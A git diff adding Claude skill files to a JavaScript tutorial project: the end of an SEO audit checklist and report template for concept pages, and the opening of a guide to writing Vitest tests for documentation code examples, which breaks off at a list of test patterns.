+ | How to | how to use higher order functions |
+ | Interview | higher order functions interview |
+
+
+
+ | Type | Keywords |
+ |------|----------|
+ | Primary | JavaScript recursion, recursion in JavaScript |
+ | What is | what is recursion in JavaScript |
+ | How to | how to write recursive functions |
+ | Examples | recursion examples JavaScript |
+ | vs | recursion vs iteration JavaScript |
+ | Interview | recursion interview questions |
+
+
+
+---
+
+## Audit Checklists
+
+### Title Tag Checklist (4 points)
+
+| # | Check | Points | How to Verify |
+|---|-------|--------|---------------|
+| 1 | Length 50-60 characters | 1 | Count characters in `title` frontmatter |
+| 2 | Primary keyword in first half | 1 | Concept name appears early |
+| 3 | Ends with "in JavaScript" | 1 | Check title ending |
+| 4 | Contains compelling hook | 1 | Promises value/benefit to reader |
+
+**Scoring:**
+- 4/4: ✅ Excellent
+- 3/4: ⚠️ Good, minor improvements possible
+- 0-2/4: ❌ Needs significant work
+
+**Title Formula:**
+```
+[Concept]: [What You'll Understand] in JavaScript
+```
+
+**Good Examples:**
+| Concept | Title (with character count) |
+|---------|------------------------------|
+| Closures | "Closures: How Functions Remember Their Scope in JavaScript" (58 chars) |
+| Event Loop | "Event Loop: How Async Code Actually Runs in JavaScript" (54 chars) |
+| Promises | "Promises: Handling Async Operations in JavaScript" (49 chars) |
+| DOM | "DOM: How Browsers Represent Web Pages in JavaScript" (51 chars) |
+
+**Bad Examples:**
+| Issue | Bad Title | Better Title |
+|-------|-----------|--------------|
+| Too short | "Closures" | "Closures: How Functions Remember Their Scope in JavaScript" |
+| Too long | "Understanding JavaScript Closures and How They Work with Examples" (66 chars) | "Closures: How Functions Remember Their Scope in JavaScript" (58 chars) |
+| No hook | "JavaScript Closures" | "Closures: How Functions Remember Their Scope in JavaScript" |
+| Missing "JavaScript" | "Understanding Closures and Scope" | Add "in JavaScript" at end |
+
+---
+
+### Meta Description Checklist (4 points)
+
+| # | Check | Points | How to Verify |
+|---|-------|--------|---------------|
+| 1 | Length 150-160 characters | 1 | Count characters in `description` frontmatter |
+| 2 | Starts with action word | 1 | "Learn", "Understand", "Discover" (NOT "Master") |
+| 3 | Contains primary keyword | 1 | Concept name + "JavaScript" present |
+| 4 | Promises specific value | 1 | Lists what reader will learn |
+
+**Description Formula:**
+```
+[Action word] [what it is] in JavaScript. [Specific things they'll learn]: [topic 1], [topic 2], and [topic 3].
+```
+
+**Good Examples:**
+
+| Concept | Description |
+|---------|-------------|
+| Closures | "Learn JavaScript closures and how functions remember their scope. Covers lexical scoping, practical use cases, memory considerations, and common closure patterns." (159 chars) |
+| Event Loop | "Discover how the JavaScript event loop manages async code execution. Understand the call stack, task queue, microtasks, and why JavaScript is single-threaded but non-blocking." (176 chars - trim!) |
+| DOM | "Learn how the DOM works in JavaScript. Understand how browsers represent HTML as a tree, select and manipulate elements, traverse nodes, and optimize rendering." (162 chars) |
+
+**Bad Examples:**
+
+| Issue | Bad Description | Fix |
+|-------|-----------------|-----|
+| Too short | "Learn about closures" | Expand to 150-160 chars with specifics |
+| Starts with "Master" | "Master JavaScript closures..." | "Learn JavaScript closures..." |
+| Too vague | "A guide to closures" | List specific topics covered |
+| Missing keyword | "Functions can remember things" | Include "closures" and "JavaScript" |
+
+---
+
+### Keyword Placement Checklist (5 points)
+
+| # | Check | Points | How to Verify |
+|---|-------|--------|---------------|
+| 1 | Primary keyword in title | 1 | Check frontmatter `title` |
+| 2 | Primary keyword in meta description | 1 | Check frontmatter `description` |
+| 3 | Primary keyword in first 100 words | 1 | Check opening paragraphs |
+| 4 | Keyword in at least one H2 heading | 1 | Scan all `##` headings |
+| 5 | No keyword stuffing | 1 | Content reads naturally |
+
+**Keyword Placement Map:**
+
+```
+┌─────────────────────────────────────────────────────────────────────────┐
+│ KEYWORD PLACEMENT │
+├─────────────────────────────────────────────────────────────────────────┤
+│ │
+│ 🔴 CRITICAL (Must have keyword) │
+│ ───────────────────────────────── │
+│ • title frontmatter │
+│ • description frontmatter │
+│ • First paragraph (within 100 words) │
+│ • At least one H2 heading │
+│ │
+│ 🟡 RECOMMENDED (Include naturally) │
+│ ────────────────────────────────── │
+│ • "What you'll learn" Info box │
+│ • H3 subheadings │
+│ • Key Takeaways section │
+│ • First sentence after major H2s │
+│ │
+│ ⚠️ AVOID │
+│ ───────── │
+│ • Same phrase >4 times per 1000 words │
+│ • Forcing keywords where pronouns work better │
+│ • Awkward sentence structures to fit keywords │
+│ │
+└─────────────────────────────────────────────────────────────────────────┘
+```
+
+---
+
+### Content Structure Checklist (6 points)
+
+| # | Check | Points | How to Verify |
+|---|-------|--------|---------------|
+| 1 | Opens with question hook | 1 | First paragraph asks engaging question |
+| 2 | Code example in first 200 words | 1 | Simple example appears early |
+| 3 | "What you'll learn" Info box | 1 | `` component after opening |
+| 4 | Short paragraphs (2-4 sentences) | 1 | Scan content for long blocks |
+| 5 | 1,500+ words | 1 | Word count check |
+| 6 | Key terms bolded on first mention | 1 | Important terms use `**bold**` |
+
+**Content Structure Template:**
+
+```
+┌─────────────────────────────────────────────────────────────────────────┐
+│ IDEAL PAGE STRUCTURE │
+├─────────────────────────────────────────────────────────────────────────┤
+│ │
+│ 1. QUESTION HOOK (First 50 words) │
+│ "How does JavaScript...? Why do...?" │
+│ │
+│ 2. BRIEF ANSWER + CODE EXAMPLE (Words 50-200) │
+│ Quick explanation + simple code demo │
+│ │
+│ 3. "WHAT YOU'LL LEARN" INFO BOX │
+│ 5-7 bullet points │
+│ │
+│ 4. PREREQUISITES WARNING (if applicable) │
+│ Link to required prior concepts │
+│ │
+│ 5. MAIN CONTENT SECTIONS (H2s) │
+│ Each H2 answers a question or teaches a concept │
+│ Include code examples, diagrams, tables │
+│ │
+│ 6. COMMON MISTAKES / GOTCHAS SECTION │
+│ What trips people up │
+│ │
+│ 7. KEY TAKEAWAYS │
+│ 8-10 numbered points summarizing everything │
+│ │
+│ 8. TEST YOUR KNOWLEDGE │
+│ 5-6 Q&A accordions │
+│ │
+│ 9. RELATED CONCEPTS │
+│ 4 cards linking to related topics │
+│ │
+│ 10. RESOURCES (Reference, Articles, Videos) │
+│ MDN links, curated articles, videos │
+│ │
+└─────────────────────────────────────────────────────────────────────────┘
+```
+
+---
+
+### Featured Snippet Checklist (4 points)
+
+| # | Check | Points | How to Verify |
+|---|-------|--------|---------------|
+| 1 | "What is X" has 40-60 word definition | 1 | Count words in first paragraph after "What is" H2 |
+| 2 | At least one H2 is phrased as question | 1 | Check for "What is", "How does", "Why" H2s |
+| 3 | Numbered steps for "How to" content | 1 | Uses `` component or numbered list |
+| 4 | Comparison tables (if applicable) | 1 | Tables for "X vs Y" content |
+
+**Featured Snippet Patterns:**
+
+```
+┌─────────────────────────────────────────────────────────────────────────┐
+│ FEATURED SNIPPET FORMATS │
+├─────────────────────────────────────────────────────────────────────────┤
+│ │
+│ QUERY TYPE WINNING FORMAT YOUR CONTENT │
+│ ─────────── ────────────── ──────────── │
+│ │
+│ "What is X" Paragraph 40-60 word definition │
+│ after H2, bold keyword │
+│ │
+│ "How to X" Numbered list component or │
+│ 1. 2. 3. markdown │
+│ │
+│ "X vs Y" Table | Feature | X | Y | │
+│ comparison table │
+│ │
+│ "Types of X" Bullet list - **Type 1** — desc │
+│ - **Type 2** — desc │
+│ │
+│ "[X] examples" Code block ```javascript │
+│ + explanation // example code │
+│ │
+└─────────────────────────────────────────────────────────────────────────┘
+```
+
+**Definition Paragraph Example (40-60 words):**
+
+```markdown
+## What is a Closure in JavaScript?
+
+A **closure** is a function that retains access to variables from its outer
+(enclosing) scope, even after that outer function has finished executing.
+Closures are created every time a function is created in JavaScript, allowing
+inner functions to "remember" and access their lexical environment.
+```
+
+(This is 52 words - perfect for a featured snippet)
+
+---
+
+### Internal Linking Checklist (4 points)
+
+| # | Check | Points | How to Verify |
+|---|-------|--------|---------------|
+| 1 | 3-5 related concepts linked in body | 1 | Count `/concepts/` links in prose |
+| 2 | Descriptive anchor text | 1 | No "click here", "here", "this" |
+| 3 | Prerequisites in Warning box | 1 | `` with links at start |
+| 4 | Related Concepts section has 4 cards | 1 | `` at end with 4 Cards |
+
+**Good Anchor Text:**
+
+| ❌ Bad | ✓ Good |
+|--------|--------|
+| "click here" | "event loop concept" |
+| "here" | "JavaScript closures" |
+| "this article" | "our Promises guide" |
+| "read more" | "understanding the call stack" |
+
+**Link Placement Strategy:**
+
+```markdown
+
+
+**Prerequisite:** This guide assumes you understand [Promises](/concepts/promises)
+and the [Event Loop](/concepts/event-loop). Read those first if needed.
+
+
+
+When the callback finishes, it's added to the task queue — managed by
+the [event loop](/concepts/event-loop).
+
+
+
+
+ async/await is built on top of Promises
+
+
+```
+
+---
+
+### Technical SEO Checklist (3 points)
+
+| # | Check | Points | How to Verify |
+|---|-------|--------|---------------|
+| 1 | Single H1 per page | 1 | Only one `#` heading (the title) |
+| 2 | URL slug contains keyword | 1 | `/concepts/closures` not `/concepts/topic-1` |
+| 3 | No orphan pages | 1 | Page is linked from at least one other page |
+
+**H1 Rule:**
+
+Every page should have exactly ONE H1 (your main title). This is critical for SEO:
+- The H1 tells Google what the page is about
+- Multiple H1s confuse search engines about page hierarchy
+- All other headings should be H2 (`##`) and below
+- The H1 should contain your primary keyword
+
+```markdown
+# Closures in JavaScript ← This is your H1 (only one!)
+
+## What is a Closure? ← H2 for sections
+### Lexical Scope ← H3 for subsections
+## How Closures Work ← Another H2
+```
+
+**URL/Slug Best Practices:**
+
+| ✅ Good | ❌ Bad |
+|---------|--------|
+| `/concepts/closures` | `/concepts/c1` |
+| `/concepts/event-loop` | `/concepts/topic-7` |
+| `/concepts/type-coercion` | `/concepts/abc123` |
+| `/concepts/async-await` | `/concepts/async_await` |
+
+Rules for slugs:
+- **Include primary keyword** — The concept name should be in the URL
+- **Use hyphens, not underscores** — `event-loop` not `event_loop`
+- **Keep slugs short and readable** — Under 50 characters
+- **No UUIDs, database IDs, or random strings**
+- **Lowercase only** — `/concepts/Event-Loop` should be `/concepts/event-loop`
+
+**Orphan Page Detection:**
+
+An orphan page has no internal links pointing to it from other pages. This hurts SEO because:
+- Google may not discover or crawl it frequently
+- It signals the page isn't important to your site structure
+- Users can't navigate to it naturally
+- Link equity doesn't flow to the page
+
+**How to check for orphan pages:**
+1. Search the codebase for links to this concept: `grep -r "/concepts/[slug]" docs/`
+2. Verify it appears in at least one other concept's "Related Concepts" section
+3. Check that pages listing it as a prerequisite link back appropriately
+4. Ensure it's included in the navigation (`docs.json`)
+
+**Fixing orphan pages:**
+- Add the concept to related pages' "Related Concepts" CardGroup
+- Link to it naturally in body content of related concepts
+- Ensure bidirectional linking (if A links to B, B should link back to A where relevant)
+
+---
+
+## Scoring System
+
+### Total Points Available: 30
+
+| Category | Max Points |
+|----------|------------|
+| Title Tag | 4 |
+| Meta Description | 4 |
+| Keyword Placement | 5 |
+| Content Structure | 6 |
+| Featured Snippets | 4 |
+| Internal Linking | 4 |
+| Technical SEO | 3 |
+| **Total** | **30** |
+
+### Score Interpretation
+
+| Score | Percentage | Status | Action |
+|-------|------------|--------|--------|
+| 27-30 | 90-100% | ✅ Excellent | Ready to publish |
+| 23-26 | 75-89% | ⚠️ Good | Minor optimizations needed |
+| 17-22 | 55-74% | ⚠️ Fair | Several improvements needed |
+| 0-16 | <55% | ❌ Poor | Significant work required |
+
+---
+
+## Common SEO Issues and Fixes
+
+### Title Tag Issues
+
+| Issue | Current | Fix |
+|-------|---------|-----|
+| Too short (<50 chars) | "Closures" (8) | "Closures: How Functions Remember Their Scope in JavaScript" (58) |
+| Too long (>60 chars) | "Understanding JavaScript Closures and How They Work with Examples" (66) | "Closures: How Functions Remember Their Scope in JavaScript" (58) |
+| Missing keyword | "Understanding Scope" | Add concept name: "Closures: Understanding Scope in JavaScript" |
+| No hook | "JavaScript Closures" | Add benefit: "Closures: How Functions Remember Their Scope in JavaScript" |
+| Missing "JavaScript" | "Closures Explained" | Add at end: "Closures Explained in JavaScript" |
+
+### Meta Description Issues
+
+| Issue | Current | Fix |
+|-------|---------|-----|
+| Too short (<120 chars) | "Learn about closures" (20) | Expand with specifics to 150-160 chars |
+| Too long (>160 chars) | [Gets truncated] | Edit ruthlessly, keep key information |
+| Starts with "Master" | "Master JavaScript closures..." | "Learn JavaScript closures..." |
+| No keyword | "Functions that remember" | Include "closures" and "JavaScript" |
+| Too vague | "A guide to closures" | List specific topics: "Covers X, Y, and Z" |
+
+### Content Structure Issues
+
+| Issue | Fix |
+|-------|-----|
+| No question hook | Start with "How does...?" or "Why...?" |
+| Code example too late | Move simple example to first 200 words |
+| Missing Info box | Add `` with "What you'll learn" |
+| Long paragraphs | Break into 2-4 sentence chunks |
+| Under 1,500 words | Add more depth, examples, edge cases |
+| No bolded terms | Bold key concepts on first mention |
+
+### Featured Snippet Issues
+
+| Issue | Fix |
+|-------|-----|
+| No "What is" definition | Add 40-60 word definition paragraph |
+| Definition too long | Tighten to 40-60 words |
+| No question H2s | Add "What is X?" or "How does X work?" H2 |
+| Steps not numbered | Use `` or numbered markdown |
+| No comparison tables | Add table for "X vs Y" sections |
+
+### Internal Linking Issues
+
+| Issue | Fix |
+|-------|-----|
+| No internal links | Add 3-5 links to related concepts |
+| Bad anchor text | Replace "click here" with descriptive text |
+| No prerequisites | Add `` with prerequisite links |
+| Empty Related Concepts | Add 4 Cards linking to related topics |
+
+### Technical SEO Issues
+
+| Issue | Fix |
+|-------|-----|
+| Multiple H1 tags | Keep only one `#` heading (the title), use `##` for all sections |
+| Slug missing keyword | Rename file to include concept name (e.g., `closures.mdx`) |
+| Orphan page | Add links from related concept pages' body or Related Concepts section |
+| Underscore in slug | Use hyphens: `event-loop.mdx` not `event_loop.mdx` |
+| Uppercase in slug | Use lowercase only: `async-await.mdx` not `Async-Await.mdx` |
+| Slug too long | Shorten to primary keyword: `closures.mdx` not `understanding-javascript-closures-and-scope.mdx` |
+
+---
+
+## SEO Audit Report Template
+
+Use this template to document your findings.
+
+```markdown
+# SEO Audit Report: [Concept Name]
+
+**File:** `/docs/concepts/[slug].mdx`
+**Date:** YYYY-MM-DD
+**Auditor:** [Name/Claude]
+**Overall Score:** XX/30 (XX%)
+**Status:** ✅ Excellent | ⚠️ Needs Work | ❌ Poor
+
+---
+
+## Score Summary
+
+| Category | Score | Status |
+|----------|-------|--------|
+| Title Tag | X/4 | ✅/⚠️/❌ |
+| Meta Description | X/4 | ✅/⚠️/❌ |
+| Keyword Placement | X/5 | ✅/⚠️/❌ |
+| Content Structure | X/6 | ✅/⚠️/❌ |
+| Featured Snippets | X/4 | ✅/⚠️/❌ |
+| Internal Linking | X/4 | ✅/⚠️/❌ |
+| Technical SEO | X/3 | ✅/⚠️/❌ |
+| **Total** | **X/30** | **STATUS** |
+
+---
+
+## Target Keywords
+
+**Primary Keyword:** [e.g., "JavaScript closures"]
+**Secondary Keywords:**
+- [keyword 1]
+- [keyword 2]
+- [keyword 3]
+
+**Search Intent:** Informational / How-to / Comparison
+
+---
+
+## Title Tag Analysis
+
+**Current Title:** "[current title from frontmatter]"
+**Character Count:** XX characters
+**Score:** X/4
+
+| Check | Status | Notes |
+|-------|--------|-------|
+| Length 50-60 chars | ✅/❌ | XX characters |
+| Primary keyword in first half | ✅/❌ | [notes] |
+| Ends with "in JavaScript" | ✅/❌ | [notes] |
+| Contains compelling hook | ✅/❌ | [notes] |
+
+**Issues Found:** [if any]
+
+**Recommended Title:** "[suggested title]" (XX chars)
+
+---
+
+## Meta Description Analysis
+
+**Current Description:** "[current description from frontmatter]"
+**Character Count:** XX characters
+**Score:** X/4
+
+| Check | Status | Notes |
+|-------|--------|-------|
+| Length 150-160 chars | ✅/❌ | XX characters |
+| Starts with action word | ✅/❌ | Starts with "[word]" |
+| Contains primary keyword | ✅/❌ | [notes] |
+| Promises specific value | ✅/❌ | [notes] |
+
+**Issues Found:** [if any]
+
+**Recommended Description:** "[suggested description]" (XX chars)
+
+---
+
+## Keyword Placement Analysis
+
+**Score:** X/5
+
+| Location | Present | Notes |
+|----------|---------|-------|
+| Title | ✅/❌ | [notes] |
+| Meta description | ✅/❌ | [notes] |
+| First 100 words | ✅/❌ | Found at word XX |
+| H2 heading | ✅/❌ | Found in: "[H2 text]" |
+| Natural reading | ✅/❌ | [no stuffing / stuffing detected] |
+
+**Missing Keyword Placements:**
+- [ ] [Location where keyword should be added]
+
+---
+
+## Content Structure Analysis
+
+**Word Count:** X,XXX words
+**Score:** X/6
+
+| Check | Status | Notes |
+|-------|--------|-------|
+| Question hook opening | ✅/❌ | [notes] |
+| Code in first 200 words | ✅/❌ | Code appears at word XX |
+| "What you'll learn" box | ✅/❌ | [present/missing] |
+| Short paragraphs | ✅/❌ | [notes on paragraph length] |
+| 1,500+ words | ✅/❌ | X,XXX words |
+| Bolded key terms | ✅/❌ | [notes] |
+
+**Structure Issues:**
+- [ ] [Issue and recommendation]
+
+---
+
+## Featured Snippet Analysis
+
+**Score:** X/4
+
+| Check | Status | Notes |
+|-------|--------|-------|
+| 40-60 word definition | ✅/❌ | Currently XX words |
+| Question-format H2 | ✅/❌ | Found: "[H2]" / Not found |
+| Numbered steps | ✅/❌ | [notes] |
+| Comparison tables | ✅/❌/N/A | [notes] |
+
+**Snippet Opportunities:**
+
+1. **"What is [concept]" snippet:**
+ - Current definition: XX words
+ - Action: [Expand to/Trim to] 40-60 words
+
+2. **"How to [action]" snippet:**
+ - Action: [Add Steps component / Already present]
+
+---
+
+## Internal Linking Analysis
+
+**Score:** X/4
+
+| Check | Status | Notes |
+|-------|--------|-------|
+| 3-5 internal links in body | ✅/❌ | Found X links |
+| Descriptive anchor text | ✅/❌ | [notes] |
+| Prerequisites in Warning | ✅/❌ | [present/missing] |
+| Related Concepts section | ✅/❌ | X cards present |
+
+**Current Internal Links:**
+1. [Anchor text] → `/concepts/[slug]`
+2. [Anchor text] → `/concepts/[slug]`
+
+**Recommended Links to Add:**
+- Link to [concept] in [section/context]
+- Link to [concept] in [section/context]
+
+**Bad Anchor Text Found:**
+- Line XX: "click here" → change to "[descriptive text]"
+
+---
+
+## Technical SEO Analysis
+
+**Score:** X/3
+
+| Check | Status | Notes |
+|-------|--------|-------|
+| Single H1 per page | ✅/❌ | [Found X H1 tags] |
+| URL slug contains keyword | ✅/❌ | Current: `/concepts/[slug]` |
+| Not an orphan page | ✅/❌ | Linked from X other pages |
+
+**H1 Tags Found:**
+- Line XX: `# [H1 text]` ← Should be the only one
+- [List any additional H1s that need to be changed to H2]
+
+**Slug Analysis:**
+- Current slug: `[slug].mdx`
+- Contains keyword: ✅/❌
+- Format correct: ✅/❌ (lowercase, hyphens, no special chars)
+
+**Incoming Links Found:**
+1. `/concepts/[other-concept]` → Links to this page in [section]
+2. `/concepts/[other-concept]` → Links in Related Concepts
+
+**If orphan page, add links from:**
+- [Suggested concept page] in [section]
+- [Suggested concept page] in Related Concepts
+
+---
+
+## Priority Fixes
+
+### High Priority (Do First)
+
+1. **[Issue]**
+ - Current: [what it is now]
+ - Recommended: [what it should be]
+ - Impact: [why this matters]
+
+2. **[Issue]**
+ - Current: [what it is now]
+ - Recommended: [what it should be]
+ - Impact: [why this matters]
+
+### Medium Priority
+
+1. **[Issue]**
+ - Recommendation: [fix]
+
+### Low Priority (Nice to Have)
+
+1. **[Issue]**
+ - Recommendation: [fix]
+
+---
+
+## Competitive Analysis (Optional)
+
+**Top-Ranking Pages for "[primary keyword]":**
+
+1. **[Competitor 1 - URL]**
+ - What they do well: [observation]
+ - Word count: ~X,XXX
+
+2. **[Competitor 2 - URL]**
+ - What they do well: [observation]
+ - Word count: ~X,XXX
+
+**Our Advantages:**
+- [What we do better]
+
+**Gaps to Fill:**
+- [What we're missing that competitors have]
+
+---
+
+## Implementation Checklist
+
+After making fixes, verify:
+
+- [ ] Title is 50-60 characters with keyword and hook
+- [ ] Description is 150-160 characters with action word and value
+- [ ] Primary keyword in title, description, first 100 words, and H2
+- [ ] Opens with question hook
+- [ ] Code example in first 200 words
+- [ ] "What you'll learn" Info box present
+- [ ] Paragraphs are 2-4 sentences
+- [ ] 1,500+ words total
+- [ ] Key terms bolded on first mention
+- [ ] 40-60 word definition for featured snippet
+- [ ] At least one question-format H2
+- [ ] 3-5 internal links with descriptive anchor text
+- [ ] Prerequisites in Warning box (if applicable)
+- [ ] Related Concepts section has 4 cards
+- [ ] Single H1 per page (title only)
+- [ ] URL slug contains primary keyword
+- [ ] Page linked from at least one other concept page
+- [ ] All fixes implemented and verified
+
+---
+
+## Final Recommendation
+
+**Ready to Publish:** ✅ Yes / ❌ No - [reason]
+
+**Next Review Date:** [When to re-audit, e.g., "3 months" or "after major update"]
+```
+
+---
+
+## Quick Reference
+
+### Character Counts
+
+| Element | Ideal Length |
+|---------|--------------|
+| Title | 50-60 characters |
+| Meta Description | 150-160 characters |
+| Definition paragraph | 40-60 words |
+
+### Keyword Density
+
+- Don't exceed 3-4 mentions of exact phrase per 1,000 words
+- Use variations naturally (e.g., "closures", "closure", "JavaScript closures")
+
+### Content Length
+
+| Length | Assessment |
+|--------|------------|
+| <1,000 words | Too thin - add depth |
+| 1,000-1,500 | Minimum viable |
+| 1,500-2,500 | Good |
+| 2,500-4,000 | Excellent |
+| >4,000 | Consider splitting |
+
+---
+
+## Summary
+
+When auditing a concept page for SEO:
+
+1. **Identify target keywords** using the keyword cluster for that concept
+2. **Check title tag** — 50-60 chars, keyword first, hook, ends with "JavaScript"
+3. **Check meta description** — 150-160 chars, action word, keyword, specific value
+4. **Verify keyword placement** — Title, description, first 100 words, H2
+5. **Audit content structure** — Question hook, early code, Info box, short paragraphs
+6. **Optimize for featured snippets** — 40-60 word definitions, numbered steps, tables
+7. **Check internal linking** — 3-5 links, good anchors, Related Concepts section
+8. **Generate report** — Document score, issues, and prioritized fixes
+
+**Remember:** SEO isn't about gaming search engines — it's about making content easy to find for developers who need it. Every optimization should also improve the reader experience.
diff --git a/.claude/skills/test-writer/SKILL.md b/.claude/skills/test-writer/SKILL.md
new file mode 100644
index 00000000..b08c3935
--- /dev/null
+++ b/.claude/skills/test-writer/SKILL.md
@@ -0,0 +1,940 @@
+---
+name: test-writer
+description: Generate comprehensive Vitest tests for code examples in JavaScript concept documentation pages, following project conventions and referencing source lines
+---
+
+# Skill: Test Writer for Concept Pages
+
+Use this skill to generate comprehensive Vitest tests for all code examples in a concept documentation page. Tests verify that code examples in the documentation are accurate and work as described.
+
+## When to Use
+
+- After writing a new concept page
+- When adding new code examples to existing pages
+- When updating existing code examples
+- To verify documentation accuracy through automated tests
+- Before publishing to ensure all examples work correctly
+
+## Test Writing Methodology
+
+Follow these four phases to create comprehensive tests for a concept page.
+
+### Phase 1: Code Example Extraction
+
+Scan the concept page for all code examples and categorize them:
+
+| Category | Characteristics | Action |
+|----------|-----------------|--------|
+| **Testable** | Has `console.log` with output comments, returns values | Write tests |
+| **DOM-specific** | Uses `document`, `window`, DOM APIs, event handlers | Write DOM tests (separate file) |
+| **Error examples** | Intentionally throws errors, demonstrates failures | Write tests with `toThrow` |
+| **Conceptual** | ASCII diagrams, pseudo-code, incomplete snippets | Skip (document why) |
+| **Browser-only** | Uses browser APIs not available in jsdom | Skip or mock |
+
+### Phase 2: Determine Test File Structure
+
+```
+tests/
+├── fundamentals/ # Concepts 1-6
+├── functions-execution/ # Concepts 7-8
+├── web-platform/ # Concepts 9-10
+├── object-oriented/ # Concepts 11-15
+├── functional-programming/ # Concepts 16-19
+├── async-javascript/ # Concepts 20-22
+├── advanced-topics/ # Concepts 23-31
+└── beyond/ # Extended concepts
+ └── {subcategory}/
+```
+
+**File naming:**
+- Standard tests: `{concept-name}.test.js`
+- DOM tests: `{concept-name}.dom.test.js`
+
+### Phase 3: Convert Examples to Tests
+
+For each testable code example:
+
+1. Identify the expected output (from `console.log` comments or documented behavior)
+2. Convert to `expect` assertions
+3. Add source line reference in comments
+4. Group related tests in `describe` blocks matching documentation sections
+
+### Phase 4: Handle Special Cases
+
+| Case | Solution |
+|------|----------|
+| Browser-only APIs | Use jsdom environment or skip with note |
+| Timing-dependent code | Use `vi.useFakeTimers()` or test the logic, not timing |
+| Side effects | Capture output or test mutations |
+| Intentional errors | Use `expect(() => {...}).toThrow()` |
+| Async code | Use `async/await` with proper assertions |
+
+---
+
+## Project Test Conventions
+
+### Import Pattern
+
+```javascript
+import { describe, it, expect } from 'vitest'
+```
+
+For DOM tests or tests needing mocks:
+
+```javascript
+import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'
+```
+
+### DOM Test File Header
+
+```javascript
+/**
+ * @vitest-environment jsdom
+ */
+import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'
+```
+
+### Describe Block Organization
+
+Match the structure of the documentation:
+
+```javascript
+describe('Concept Name', () => {
+ describe('Section from Documentation', () => {
+ describe('Subsection if needed', () => {
+ it('should [specific behavior]', () => {
+ // Test
+ })
+ })
+ })
+})
+```
+
+### Test Naming Convention
+
+- Start with "should"
+- Be descriptive and specific
+- Match the documented behavior
+
+```javascript
+// Good
+it('should return "object" for typeof null', () => {})
+it('should throw TypeError when accessing property of undefined', () => {})
+it('should resolve promises in order they were created', () => {})
+
+// Bad
+it('test typeof', () => {})
+it('works correctly', () => {})
+it('null test', () => {})
+```
+
+### Source Line References
+
+Always reference the documentation source:
+
+```javascript
+// ============================================================
+// SECTION NAME FROM DOCUMENTATION
+// From {concept}.mdx lines XX-YY
+// ============================================================
+
+describe('Section Name', () => {
+ // From lines 45-52: Basic typeof examples
+ it('should return correct type strings', () => {
+ // Test
+ })
+})
+```
+
+---
+
+## Test Patterns Reference
+
+### Pattern 1: Basic Value Assertion
+
+**Documentation:**
+```javascript
+console.log(typeof "hello") // "string"
+console.log(typeof 42) // "number"
+```
+
+**Test:**
+```javascript
+// From lines XX-YY: typeof examples
+it('should return correct type for primitives', () => {
+ expect(typeof "hello").toBe("string")
+ expect(typeof 42).toBe("number")
+})
+```
+
+---
+
+### Pattern 2: Multiple Related Assertions
+
+**Documentation:**
+```javascript
+let a = "hello"
+let b = "hello"
+console.log(a === b) // true
+
+let obj1 = { x: 1 }
+let obj2 = { x: 1 }
+console.log(obj1 === obj2) // false
+```
+
+**Test:**
+```javascript
+// From lines XX-YY: Primitive vs object comparison
+it('should compare primitives by value', () => {
+ let a = "hello"
+ let b = "hello"
+ expect(a === b).toBe(true)
+})
+
+it('should compare objects by reference', () => {
+ let obj1 = { x: 1 }
+ let obj2 = { x: 1 }
+ expect(obj1 === obj2).toBe(false)
+})
+```
+
+---
+
+### Pattern 3: Function Return Values
+
+**Documentation:**
+```javascript
+function greet(name) {
+ return "Hello, " + name + "!"
+}
+
+console.log(greet("Alice")) // "Hello, Alice!"
+```
+
+**Test:**
+```javascript
+// From lines XX-YY: greet function example
+it('should return greeting with name', () => {
+ function greet(name) {
+ return "Hello, " + name + "!"
+ }
+
+ expect(greet("Alice")).toBe("Hello, Alice!")
+})
+```
+
+---
+
+### Pattern 4: Error Testing
+
+**Documentation:**
+```javascript
+// This throws an error!
+const obj = null
+console.log(obj.property) // TypeError: Cannot read property of null
+```
+
+**Test:**
+```javascript
+// From lines XX-YY: Accessing property of null
+it('should throw TypeError when accessing property of null', () => {
+ const obj = null
+
+ expect(() => {
+ obj.property
+ }).toThrow(TypeError)
+})
+```
+
+---
+
+### Pattern 5: Specific Error Messages
+
+**Documentation:**
+```javascript
+function divide(a, b) {
+ if (b === 0) throw new Error("Cannot divide by zero")
+ return a / b
+}
+```
+
+**Test:**
+```javascript
+// From lines XX-YY: divide function with error
+it('should throw error when dividing by zero', () => {
+ function divide(a, b) {
+ if (b === 0) throw new Error("Cannot divide by zero")
+ return a / b
+ }
+
+ expect(() => divide(10, 0)).toThrow("Cannot divide by zero")
+ expect(divide(10, 2)).toBe(5)
+})
+```
+
+---
+
+### Pattern 6: Async/Await Testing
+
+**Documentation:**
+```javascript
+async function fetchUser(id) {
+ const response = await fetch(`/api/users/${id}`)
+ return response.json()
+}
+```
+
+**Test:**
+```javascript
+// From lines XX-YY: async fetchUser function
+it('should fetch user data asynchronously', async () => {
+ // Mock fetch for testing
+ global.fetch = vi.fn(() =>
+ Promise.resolve({
+ json: () => Promise.resolve({ id: 1, name: 'Alice' })
+ })
+ )
+
+ async function fetchUser(id) {
+ const response = await fetch(`/api/users/${id}`)
+ return response.json()
+ }
+
+ const user = await fetchUser(1)
+ expect(user).toEqual({ id: 1, name: 'Alice' })
+})
+```
+
+---
+
+### Pattern 7: Promise Testing
+
+**Documentation:**
+```javascript
+const promise = new Promise((resolve) => {
+ resolve("done")
+})
+
+promise.then(result => console.log(result)) // "done"
+```
+
+**Test:**
+```javascript
+// From lines XX-YY: Basic Promise resolution
+it('should resolve with correct value', async () => {
+ const promise = new Promise((resolve) => {
+ resolve("done")
+ })
+
+ await expect(promise).resolves.toBe("done")
+})
+```
+
+---
+
+### Pattern 8: Promise Rejection
+
+**Documentation:**
+```javascript
+const promise = new Promise((resolve, reject) => {
+ reject(new Error("Something went wrong"))
+})
+```
+
+**Test:**
+```javascript
+// From lines XX-YY: Promise rejection
+it('should reject with error', async () => {
+ const promise = new Promise((resolve, reject) => {
+ reject(new Error("Something went wrong"))
+ })
+
+ await expect(promise).rejects.toThrow("Something went wrong")
+})
+```
+
+---
+
+### Pattern 9: Floating Point Comparison
+
+**Documentation:**
+```javascript
+console.log(0.1 + 0.2) // 0.30000000000000004
+console.log(0.1 + 0.2 === 0.3) // false
+```
+
+**Test:**
+```javascript
+// From lines XX-YY: Floating point precision
+it('should demonstrate floating point imprecision', () => {
+ expect(0.1 + 0.2).not.toBe(0.3)
+ expect(0.1 + 0.2).toBeCloseTo(0.3)
+ expect(0.1 + 0.2 === 0.3).toBe(false)
+})
+```
+
+---
+
+### Pattern 10: Array Method Testing
+
+**Documentation:**
